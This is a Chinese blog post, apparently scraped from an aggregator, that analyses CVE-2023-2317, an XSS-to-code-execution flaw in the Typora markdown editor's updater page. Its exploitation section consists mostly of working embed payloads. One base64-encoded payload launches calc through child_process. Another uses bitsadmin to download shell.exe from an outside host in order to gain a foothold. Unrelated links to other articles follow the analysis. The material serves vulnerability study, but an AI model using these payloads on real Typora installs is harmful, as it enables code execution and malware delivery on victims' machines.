Typora - CVE-2023-2317

简介

Typora一个常用的markdown编辑器,在1.6.7之前存在XSS漏洞,可以通过传入参数触发来加载恶意的JavaScript代码

分析

在typora的安装目录下的resource目录下,updater.html。

先用正则从URL中提取一些参数来更新内容,分别获得curVersion, newVersionreleaseNoteLinkhideAutoUpdateslabels这五个参数的值.其中,releaseNoteLink和labels是经过URL编码的,所以需要用decodeURIComponent函数来解码。

接着用JSON.parse来将labels变量转化为数组,因为包含了文本标签所以就可以显示在网页上面。然后用选择器document.querySelector("#sum")来找到id为sum的元素,他的值由数组中第四个和第五个标签拼接起来的字符串替代

再用document.querySelectorAll("[data-label]")找到并同时去遍历所有的data-label属性的元素,值则为对应索引的标签

可以看到他直接使用了dom.innerHTML进行修改,传参未经任何的转移过滤,就会有执行恶意js的可能。

利用

构造poc,原始如下:atob函数中的字符串先base64

<embed style="height:0;" src="typora://app/typemark/updater/updater.html?curVersion=110&newVersion=110&releaseNoteLink=110&hideAutoUpdates=false&labels=["","","<svg/onload=top.eval(atob('reqnode('child_process').exec('calc')'))></svg>","","",""]">

然后因为这里只是编码参数,所以对labels=[]中的内容进行URL编码时要使用encodeURLCompoent,否则不生效

将poc以html类型写入,保存之后每次加载这个文件就会触发计算器。

<embed style="height:0;" src="typora://app/typemark/updater/updater.html?curVersion=110&newVersion=110&releaseNoteLink=110&hideAutoUpdates=false&labels=[%5B%22%22%2C%22%22%2C%22%3Csvg%2Fonload%3Dtop.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2NhbGMnKQ%3D%3D'))%3E%3C%2Fsvg%3E%22%2C%22%22%2C%22%22%2C%22%22%5D%22%3E]">

去尝试了一下用bitsadmin拉子下来上线,但寄了

<embed style="height:0;" src="typora://app/typemark/updater/updater.html?curVersion=110&newVersion=110&releaseNoteLink=110&hideAutoUpdates=false&labels=[%22%22%2C%22%22%2C%22%3Csvg%2Fonload%3Dtop.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2JpdHNhZG1pbiAvdHJhbnNmZXIgdGVzdCBodHRwOi8vMTkyLjE2OC4xMzAuMTo1NTU1L3NoZWxsLmV4ZSBDOlxVc2Vyc1x3ZW5keVxEZXNrdG9wXDExMC5leGUnKQ%3D%3D'))%3E%3C%2Fsvg%3E%22%2C%22%22%2C%22%22%2C%22%22]">

版本测试

1.2.3 直接未响应,加载一会就回闪退

其他版本的测试就没有尝试了,有兴趣的这边请传送门

参考文章

Typora远程代码执行漏洞 - CVE-2023-2317的更多相关文章

  1. Apache Struts 远程代码执行漏洞(CVE-2013-4316)

    漏洞版本: Apache Group Struts < 2.3.15.2 漏洞描述: BUGTRAQ ID: 62587 CVE(CAN) ID: CVE-2013-4316 Struts2 是 ...

  2. MongoDB ‘conn’Mongo 对象远程代码执行漏洞

    漏洞名称: MongoDB ‘conn’Mongo 对象远程代码执行漏洞 CNNVD编号: CNNVD-201307-497 发布时间: 2013-07-25 更新时间: 2013-07-25 危害等 ...

  3. Struts2再爆远程代码执行漏洞

    Struts又爆远程代码执行漏洞!在这次的漏洞中,攻击者可以通过操纵参数远程执行恶意代码.Struts 2.3.15.1之前的版本,参数action的值redirect以及redirectAction ...

  4. 【漏洞公告】CVE-2017-12615/CVE-2017-12616:Tomcat信息泄漏和远程代码执行漏洞

    2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定 ...

  5. phpcms2008远程代码执行漏洞

    phpcms2008远程代码执行漏洞 描述: 近日,互联网爆出PHPCMS2008代码注入漏洞(CVE-2018-19127).攻击者利用该漏洞,可在未授权的情况下实现对网站文件的写入.该漏洞危害程度 ...

  6. 【漏洞复现】Tomcat CVE-2017-12615 远程代码执行漏洞

    漏洞描述 [漏洞预警]Tomcat CVE-2017-12615远程代码执行漏洞/CVE-2017-12616信息泄漏 https://www.secfree.com/article-395.html ...

  7. CVE-2017-6920 Drupal远程代码执行漏洞学习

     1.背景介绍: CVE-2017-6920是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞,影响8.x的Drupal Core. Drupal介绍:Drupal 是一个由 ...

  8. 【漏洞公告】Tomcat信息泄漏和远程代码执行漏洞:CVE-2017-12615/CVE-2017-12616

    2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定 ...

  9. Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现

    Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现  一.     漏洞简介 漏洞编号和级别 CVE编号:CVE-2019-0232,危险级别:高危,CVSS分值:官方 ...

  10. 代码审计之CVE-2017-6920 Drupal远程代码执行漏洞学习

     1.背景介绍: CVE-2017-6920是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞,影响8.x的Drupal Core. Drupal介绍:Drupal 是一个由 ...

随机推荐

  1. 每日一题:如何判断是否是数组,一个既简单又复杂的问题。(不要再用Object.prototype.toString.call、instance of判断了!!!)

    1.不要使用Object.prototype.toString.call() 正常情况下: const arr = [1,2,3,4,5] const obj = {} console.log(Obj ...

  2. strcpy()函数详解

    strcpy()函数是C语言中的一个复制字符串的库函数,以下将详细解释说明一下: · 函数声明以及实现代码 char *strcpy(char *dst, const char *src);char ...

  3. Python基础——字符编码、文件处理

    文章目录 字符编码 一 引入 二 知识储备 2.1 三大核心硬件 2.2 文本编辑器读取文件内容的流程 2.3 python解释器执行文件的流程 2.4 总结 三.字符编码介绍 3.1 什么是字符编码 ...

  4. Zuul 2.1.5 设计分析

    前言 https://github.com/Netflix/zuul zuul 是 SpringCloud 家族老兵,使用 Java 微服务大部分都在使用 zuul 作为网关.既然他如此重要,那么我们 ...

  5. 「CSP-2023」我曾璀璨星空,星月相伴,致远方,致过往。

    Day -1   像往常一样去上学.虽然身在学校但感觉心还在比赛上.在一个上午课间准备去上厕所时遇见了信息老师.她在教我们班信息之前我的一些奖状的指导教师就是写的她,之前就认识了,每次碰到她都会朝我笑 ...

  6. Spring Cloud Gateway系列:简介和入门

    一.简介 官网:https://cloud.spring.io/spring-cloud-gateway/reference/html/ SpringCloud Gateway是SpringCloud ...

  7. JVM 学习

    目录 1. 类加载器及类加载过程 1.1 基本流程 1.2 类加载器子系统作用 1.3 类加载器角色 1.4 加载过程 (1) 加载 loading (2) 链接 linking 验证 verify ...

  8. 机器学习从入门到放弃:硬train一发手写数字识别

    一.前言 前面我们了解了关于机器学习使用到的数学基础和内部原理,这一次就来动手使用 pytorch 来实现一个简单的神经网络工程,用来识别手写数字的项目.自己动手后会发现,框架里已经帮你实现了大部分的 ...

  9. Halcon、HDevelop快速入门

    ​ HDevelop基础一 HDevelop概述 HDevelop是一款机器视觉的集成开发环境.下面将对HDevelop的界面内容做一下简单的介绍. 界面介绍 打开HDevelop,将看到以下画面. ...

  10. 脚踏esbuild祥云,胸怀tsx利刃,身披scss羽衣,追寻前端的本质

    本文所有内容,纯属个人观点,无意与任何人争论 前端技术的现状 我觉得前端技术发展到现在有两个最主要的特征 前端工具链为前端工程化提供了强有力的支持 这方面主要是webpack.rollup.esbui ...